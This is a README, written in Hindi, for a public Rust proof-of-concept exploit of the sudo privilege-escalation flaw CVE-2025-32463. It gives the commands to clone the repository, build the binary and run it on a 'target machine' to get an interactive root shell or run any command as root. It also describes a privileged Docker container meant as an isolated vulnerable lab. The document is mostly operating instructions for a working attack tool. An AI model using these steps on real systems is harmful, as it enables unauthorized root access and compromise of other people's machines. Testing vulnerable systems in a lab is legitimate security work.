CVE-2025-32463 Sudo EoP शोषण प्रमाण-अवधारणा (Rust)

पूर्वनिर्मित बाइनरी का उपयोग करना

1. रिपॉजिटरी को क्लोन करें और लक्ष्य मशीन में बाइनरी चलाएं।

git clone https://github.com/krypton-0x00/CVE-2025-32463-Chwoot-POC.git

cd CVE-2025-32463-Chwoot-POC

./exploit

स्रोत से निर्माण

1. रिपॉजिटरी को क्लोन करें (यदि पहले से नहीं किया गया है)

git clone https://github.com/krypton-0x00/CVE-2025-32463-Chwoot-POC.git
cd CVE-2025-32463-Chwoot-POC

2. रस्ट बाइनरी को रिलीज मोड में बनाएं

cargo build --release

संकलित बाइनरी यहाँ स्थित होगी:

./target/release/CVE-2025-32463-Chwoot-POC

---

उपयोग

शोषण बाइनरी को वैकल्पिक कमांड तर्कों के साथ चलाएं:

• एक इंटरैक्टिव रूट शेल प्राप्त करने के लिए:

sudo ./target/release/CVE-2025-32463-Chwoot-POC

• रूट के रूप में एक विशिष्ट कमांड चलाने के लिए (उदाहरण के लिए, id):

sudo ./target/release/CVE-2025-32463-Chwoot-POC "id"

---

डॉकर उपयोग

वैकल्पिक रूप से, सभी निर्भरताओं के साथ एक पृथक असुरक्षित वातावरण के लिए प्रदान किए गए डॉकर कंटेनर का उपयोग करें।

1. डॉकर इमेज बनाएं

docker build -t sudo-chwoot .

2. कंटेनर को इंटरैक्टिव रूप से चलाएं (यदि यह काम नहीं करता है, तो sudo-chwoot के बजाय इमेज आईडी का उपयोग करने का प्रयास करें। आप sudo docker images का उपयोग करके वह प्राप्त कर सकते हैं)

docker run --rm -it --privileged sudo-chwoot 

3. कंटेनर के अंदर, शोषण चलाएं

cd /home/pwn/CVE-2025-32463-Rust-POC
./target/release/CVE-2025-32463-Chwoot-POC